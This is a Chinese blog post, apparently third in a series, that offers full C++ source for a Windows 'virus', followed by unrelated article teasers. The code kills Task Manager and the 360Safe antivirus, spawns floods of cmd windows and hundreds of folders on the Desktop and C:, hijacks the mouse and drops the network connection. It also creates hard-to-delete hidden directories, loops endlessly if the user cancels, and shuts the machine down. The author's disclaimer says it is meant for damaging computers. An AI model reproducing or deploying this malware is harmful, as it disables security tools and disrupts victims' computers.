当前位置: 首页 > news >正文

小小小病毒(3)(~_~|)

一分耕耘一分收获

声明:

        仅供损害电脑,不得用于非法。损坏电脑,作者一律不负责。此作为作者原创,转载请经过同意。

欢迎来到小小小病毒(3)

感谢大家的支持

还是那句话:上代码!

#include <bits/stdc++.h>
#include <windows.h>
#include <stdio.h>
#include <shlobj.h>
using namespace std;
HHOOK g_hHook;BOOL SetImmunity(char *FilePath, char *FileName) {char file[2048] = { 0 };strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);BOOL bRet = CreateDirectory(file, NULL);if (bRet) {strcat(file, "\\anti...\\");bRet = CreateDirectory(file, NULL);if (bRet) {SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);return TRUE;}}return FALSE;
}void ClearImmunity(char *FilePath, char *FileName) {char file[2048] = { 0 };strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);strcat(file, "\\anti...\\");RemoveDirectory(file);ZeroMemory(file, MAX_PATH);strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);RemoveDirectory(file);
}void lrud(int n=1){if(n==1){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_LEFT,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_LEFT,0,KEYEVENTF_KEYUP,0);	}else if(n==2){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_UP,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_UP,0,KEYEVENTF_KEYUP,0);		}else if(n==3){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_RIGHT,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_RIGHT,0,KEYEVENTF_KEYUP,0);		}else{keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_DOWN,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);	}
}void for_lrud(){for(int i=1;i<=4;i++){lrud(i);}lrud(2);
}LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {if (nCode == HCBT_ACTIVATE) {HWND hMsgBox = (HWND)wParam;SetWindowPos(hMsgBox, NULL, 0, 0, 400, 200, SWP_NOMOVE | SWP_NOZORDER);UnhookWindowsHookEx(g_hHook);}return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}string itos3(int n){int a,b,c;a=n/100;b=n%100/10;c=n%10;string s="";if(a!=0){char d=a+'0';s+=d;		}if(b!=0||(b==0&&a!=0)){char d=b+'0';s+=d;}if(c!=0||(c==0&&b==0&&a!=0)||(c==0&&b!=0)){char d=c+'0';s+=d;}return s;
}struct vir{struct wenjian{void xingshi(){system("taskkill /f /im taskmgr.exe");HWND hwnd;hwnd = FindWindow("ConsoleWindowClass", NULL);if (hwnd){ShowOwnedPopups(hwnd, SW_HIDE);ShowWindow(hwnd, SW_HIDE);}MessageBox(NULL,"新年新气象","古诗",MB_OK);MessageBox(NULL,"新年多上当","古诗",MB_OK);MessageBox(NULL,"山外青山楼外楼","古诗",MB_OK);	MessageBox(NULL,"那里有个中分头","古诗",MB_OK);	MessageBox(NULL,"两只黄鹂鸣翠柳","古诗",MB_OK);MessageBox(NULL,"穿成烤串还不够","古诗",MB_OK);	g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("你阻止不了我入侵电脑!"),TEXT("病毒"),MB_OK|MB_ICONWARNING);Sleep(2000);WinExec("taskkill /f /im 360Safe.exe",SW_HIDE);			HWND hw=FindWindow("360Safe.exe",NULL);if(hw!=NULL){ShowWindow(hw,SW_HIDE);}g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("360呢"),TEXT("你"),MB_OK|MB_ICONWARNING);	Sleep(500);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("黑化中..."),TEXT("360"),MB_OK|MB_ICONMASK);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());Sleep(4000);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("准备好接受审判吧"),TEXT("病毒and360"),MB_OK|MB_ICONWARNING);ShowOwnedPopups(hwnd, SW_HIDE);ShowWindow(hwnd, SW_HIDE);			int ll=10000;while(ll--){int cx=GetSystemMetrics(SM_CXSCREEN);int cy=GetSystemMetrics(SM_CYSCREEN);SetCursorPos(rand() % cx,rand() % cy);}}void vira(){xingshi();int ll=100;while(ll--){system("start cmd");}MessageBox(NULL,"给你几秒关闭的时间","提示",MB_OK|MB_ICONWARNING);Sleep(10000);for(int i=1;i<=100;i++){string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";jj+=itos3(i);system(jj.data());}MessageBox(NULL,"看看你的桌面","提示",MB_OK|MB_ICONWARNING);Sleep(20000);MessageBox(NULL,"你肯定都删了,那...","提示",MB_OK|MB_ICONWARNING);	for(int i=1;i<=100;i++){string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";jj+=itos3(i);system(jj.data());}Sleep(20000);MessageBox(NULL,"鼠标被我控制啦!!!","提示",MB_OK|MB_ICONWARNING);			int ii=100000;while(ii--){SetCursorPos(1,1);}MessageBox(NULL,"鼠标连点器启动!!!","提示",MB_OK|MB_ICONWARNING);int iii=10000;while(iii--){mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);}for(int i=1;i<=100;i++){string jj="mkdir C:\\a";jj+=itos3(i);system(jj.data());}MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"骗你的!!!再等一小会。","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"看看你的C盘!","提示",MB_OK|MB_ICONWARNING);Sleep(10000);MessageBox(NULL,"屏幕作乱...","提示",MB_OK|MB_ICONWARNING);for_lrud();MessageBox(NULL,"文件夹即将占领世界(C盘)!","提示",MB_OK|MB_ICONWARNING);for(int i=1;i<=999;i++){string jj="mkdir C:\\a";jj+=itos3(i);system(jj.data());string jjb="mkdir C:\\b";jjb+=itos3(i);system(jjb.data());	}MessageBox(NULL,"给你断开网络","提示",MB_OK|MB_ICONWARNING);Sleep(500);system("ipconfig /release");while(1){int s=MessageBox(NULL,"二选一","提示",MB_YESNO|MB_ICONWARNING);if(s==IDNO){MessageBox(NULL,"???","提示",MB_OK|MB_ICONWARNING);}else if(s==IDYES){break;}}MessageBox(NULL,"给你整几个不可删文件","提示",MB_OK|MB_ICONWARNING);char *Fuck[4] = { "你", "好", "世", "界" };int FuckLen = sizeof(Fuck) / sizeof(int);TCHAR Destop[MAX_PATH];SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);for (int i = 0; i < 5; i++) {for (int x = 0; x < FuckLen; x++) {SetImmunity("C:\\Users\\Administrator\\Desktop\\", Fuck[x]);ClearImmunity("c://", Fuck[x]);}}int pp=MessageBox(NULL,"点个赞再走!不然...","提示",MB_OKCANCEL|MB_ICONWARNING);if(pp==IDCANCEL){while(1){system("start cmd");srand(time(0));SetCursorPos(rand()%GetSystemMetrics(SM_CXSCREEN),rand()%GetSystemMetrics(SM_CYSCREEN));lrud(rand()%4+1);}}HWND hwnd;hwnd = FindWindow("ConsoleWindowClass", NULL);ShowOwnedPopups(hwnd, SW_SHOW);ShowWindow(hwnd, SW_SHOW);MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);system("shutdown -p");}}wen;
}virus;int main(){virus.wen.vira();
}

运行截图:

.............................

相关文章:

小小小病毒(3)(~_~|)

一分耕耘一分收获 声明&#xff1a; 仅供损害电脑&#xff0c;不得用于非法。损坏电脑&#xff0c;作者一律不负责。此作为作者原创&#xff0c;转载请经过同意。 欢迎来到小小小病毒&#xff08;3&#xff09; 感谢大家的支持 还是那句话&#xff1a;上代码&#xff01; …...

在 WSL上的 Ubuntu 中通过 Docker 来运行 Redis,并在微服务项目中使用redis

通过在 WSL&#xff08;Windows Subsystem for Linux&#xff09;上的 Ubuntu 虚拟机中通过 Docker 来运行 Redis&#xff0c;然后再微服务项目中使用redis 以下是步骤&#xff1a; 1. 安装 Docker&#xff08;如果还未安装&#xff09; 首先&#xff0c;确保你已经在 WSL 的…...

深入解析SVG图片原理:从基础到高级应用

文章目录 引言一、SVG基础概念1.1 什么是SVG&#xff1f;1.2 SVG的优势 二、SVG的基本结构2.1 SVG文档结构2.2 常用SVG元素 三、SVG的工作原理3.1 坐标系与变换3.2 路径与曲线3.3 渐变与滤镜 四、SVG的高级应用4.1 动画与交互4.2 数据可视化4.3 响应式设计 五、SVG的优化与性能…...

Python 中的一种调试工具 assert

assert 是 Python 中的一种调试工具&#xff0c;用于在代码中设置断言&#xff08;assertion&#xff09;。断言是一种声明&#xff0c;用于确保某个条件为真。如果条件为假&#xff0c;assert 会触发一个 AssertionError 异常&#xff0c;并可选地输出错误信息。 语法 asser…...

面基Spring Boot项目中实用注解一

在Spring Boot项目中&#xff0c;实用注解根据功能可以分为多个类别。以下是常见的注解分类、示例说明及对比分析&#xff1a; 1. 核心配置注解 SpringBootApplication 作用&#xff1a;标记主启动类&#xff0c;组合了Configuration、EnableAutoConfiguration和ComponentScan…...

【数据库维护】Clickhouse数据库维护关键系统表相关指标说明,支撑定位慢SQL及多实例场景下分析各实例运行情况

背景 当前使用环境上以Docker容器化部署Clickhouse服务8个实例&#xff0c;但在实际运行过程中&#xff0c;发现8个实例内存负载不均衡&#xff0c;ck-0实例在固定时间段内存会直线上升&#xff0c;直至服务报错memory exceeded max memory limit。 为排查ck-0节点内存直线上升…...

委托构造函数与继承构造函数

委托构造函数 允许同一类中的构造函数调用另一个构造函数&#xff0c;以复用初始化逻辑。 委托构造函数不能同时初始化成员变量&#xff0c;只能委托给其他构造函数。 避免循环委托&#xff08;如构造函数A委托给B&#xff0c;B又委托给A&#xff09;。 class MyClass { pu…...

DeepSeek操作Excel,实现图表自动化生成

案例 让DeepSeek操作Excel&#xff0c;实现图表自动化生成。我们只要用自然语言输入我们的需求&#xff08;根据哪块单元格区域做什么图表&#xff09;&#xff0c;就可以直接在Excel中自动生成图表。 操作主界面和图表效果 设置接入方式 这里提供了多种接入方式将DeepSeek接…...

3.5 企业级AI Agent运维体系构建:从容器化部署到智能监控的工业级实践指南

企业级AI Agent运维体系构建:从容器化部署到智能监控的工业级实践指南 引言:AI时代运维的范式革新 Gartner研究指出,AI Agent系统的运维复杂度是传统应用的3.2倍,但采用云原生架构可使故障恢复时间缩短82%。本文以GitHub Sentinel、LanguageMentor等企业级案例为蓝本,揭…...

基于51单片机的定时器实现LED闪烁控制(CT107D)

引言 在嵌入式开发中&#xff0c;定时器是一个非常重要的外设&#xff0c;它可以用于实现精确的时间控制。本文将介绍如何在CT107D单片机综合训练平台上&#xff0c;利用51单片机的定时器T0实现LED灯的定时闪烁控制。具体功能如下&#xff1a; L1指示灯&#xff1a;每隔1秒闪烁…...

【java】作业1

1.需求&#xff1a;&#xff08;1&#xff09;机票价格按照淡季旺季、头等舱和经济舱收费、输入机票原价、原价、月份和头等舱或经济舱&#xff1b;&#xff08;2&#xff09;按照如下规则计算机票价格&#xff1a;旺季&#xff08;5-10月&#xff09;头等舱9折&#xff0c;经济…...

2025有哪些关键词优化工具好用

越来越多的企业和个人开始意识到搜索引擎优化&#xff08;SEO&#xff09;对于网站曝光和业务增长的重要性。在SEO优化的过程中&#xff0c;关键词优化占据着至关重要的地位。关键词是用户在搜索引擎中输入的词语&#xff0c;优化关键词有助于提高网站在搜索结果中的排名&#…...

【WPSOffice】汇总

写在前面 PPT篇 幻灯片母版 通过母版功能统一幻灯片的样式、字体、颜色等&#xff0c;提高整体一致性。 统一设置模板样式 字体安装 查找到字体并安装。 在WPS PPT&#xff08;WPS演示&#xff09;中&#xff0c;以下是最常用的十个功能&#xff0c;能够帮助用户高效制作…...

海康摄像头IPV6模式,手动,自动,路由公告

海康摄像头DS-2DC7220IW-A 网络设置中的IPv6配置选项。IPv6是互联网协议&#xff08;IP&#xff09;的第六版&#xff0c;用于替代IPv4&#xff0c;提供更多的IP地址和改进的网络功能。图片中的选项允许用户选择如何配置设备的IPv6网络连接&#xff1a; 手动&#xff1a;用户可…...

Transformer(3): Add Norm

文章目录 残差连接层归一化作用和其它归一化的比较 dropout基本思想实现方式 残差连接 目的是解决深层网络中梯度消失的问题。 解决方法是进行跳跃连接&#xff0c;即多出一条输出链路&#xff0c;将输入X直接接到输出层上。 公式为 F(X) X。 这样每一层求导的时候至少能够…...

SpringBoot多数据源实践:基于场景的构建、实现和事务一体化研究

1. 多数据源应用场景剖析 1.1 业务驱动的多数据源需求 数据量与业务复杂度引发的分库分表&#xff1a;在现代企业级应用中&#xff0c;随着业务的不断拓展和用户量的持续增长&#xff0c;数据量呈爆炸式增长。例如&#xff0c;在大型电商平台中&#xff0c;用户数据、订单数据…...

SOCKET建立简单的tcp服务端与客户端通信

socket是什么 socket可以使两台机子建立连接&#xff0c;就像连接风扇与电源的插座一样&#xff0c;socket可以使服务端与客户端建立连接&#xff0c;服务端就像供电厂&#xff0c;而客户端就像用电器&#xff0c;而socket就是连接二者的插座。 建立简单的连接 如果我们想在客…...

C语言-章节 1:变量与数据类型 ——「未初始化的诅咒」

在那神秘且广袤无垠的「比特大陆」上&#xff0c;阳光奋力地穿过「内存森林」中错综复杂的代码枝叶缝隙&#xff0c;洒下一片片斑驳陆离、如梦似幻的光影。林间的空气里&#xff0c;弥漫着一股浓郁的十六进制锈蚀味&#xff0c;仿佛在诉说着这片森林中隐藏的古老秘密。 一位零基…...

【HarmonyOS Next】图片选择方案

背景 封装一个选择图片和调用拍照相机的按钮&#xff0c;展示api13下选择图片和调用相机&#xff0c;可以使用不申请用户权限的方式&#xff0c;进行图片的选择和修改。但是&#xff0c;目前方案并未包含上传图片保存的功能&#xff0c;仅提供图片选择或者拍照后&#xff0c;图…...

【C语言】移除元素

移除元素 给你一个数组 nums 和一个值 val&#xff0c;你需要原地移除所有数值等于 val 的元素&#xff0c;并返回移除后数组的新长度。不要使用额外的数组空间&#xff0c;你必须仅使用 O(1) 额外空间并原地修改输入数组。元素的顺序可以改变。你不需要考虑数组中超出新长度后…...

uniapp 对接腾讯云IM群组成员管理(增删改查)

UniApp 实战&#xff1a;腾讯云IM群组成员管理&#xff08;增删改查&#xff09; 一、前言 在社交类App开发中&#xff0c;群组成员管理是核心功能之一。本文将基于UniApp框架&#xff0c;结合腾讯云IM SDK&#xff0c;详细讲解如何实现群组成员的增删改查全流程。 权限校验…...

【位运算】消失的两个数字(hard)

消失的两个数字&#xff08;hard&#xff09; 题⽬描述&#xff1a;解法&#xff08;位运算&#xff09;&#xff1a;Java 算法代码&#xff1a;更简便代码 题⽬链接&#xff1a;⾯试题 17.19. 消失的两个数字 题⽬描述&#xff1a; 给定⼀个数组&#xff0c;包含从 1 到 N 所有…...

Linux简单的操作

ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...

《通信之道——从微积分到 5G》读书总结

第1章 绪 论 1.1 这是一本什么样的书 通信技术&#xff0c;说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号&#xff08;调制&#xff09; 把信息从信号中抽取出来&am…...

spring:实例工厂方法获取bean

spring处理使用静态工厂方法获取bean实例&#xff0c;也可以通过实例工厂方法获取bean实例。 实例工厂方法步骤如下&#xff1a; 定义实例工厂类&#xff08;Java代码&#xff09;&#xff0c;定义实例工厂&#xff08;xml&#xff09;&#xff0c;定义调用实例工厂&#xff…...

Java线上CPU飙高问题排查全指南

一、引言 在Java应用的线上运行环境中&#xff0c;CPU飙高是一个常见且棘手的性能问题。当系统出现CPU飙高时&#xff0c;通常会导致应用响应缓慢&#xff0c;甚至服务不可用&#xff0c;严重影响用户体验和业务运行。因此&#xff0c;掌握一套科学有效的CPU飙高问题排查方法&…...

sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!

简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求&#xff0c;并检查收到的响应。它以以下模式之一…...

视觉slam十四讲实践部分记录——ch2、ch3

ch2 一、使用g++编译.cpp为可执行文件并运行(P30) g++ helloSLAM.cpp ./a.out运行 二、使用cmake编译 mkdir build cd build cmake .. makeCMakeCache.txt 文件仍然指向旧的目录。这表明在源代码目录中可能还存在旧的 CMakeCache.txt 文件,或者在构建过程中仍然引用了旧的路…...

推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材)

推荐 github 项目:GeminiImageApp(图片生成方向&#xff0c;可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…...

计算机基础知识解析:从应用到架构的全面拆解

目录 前言 1、 计算机的应用领域&#xff1a;无处不在的数字助手 2、 计算机的进化史&#xff1a;从算盘到量子计算 3、计算机的分类&#xff1a;不止 “台式机和笔记本” 4、计算机的组件&#xff1a;硬件与软件的协同 4.1 硬件&#xff1a;五大核心部件 4.2 软件&#…...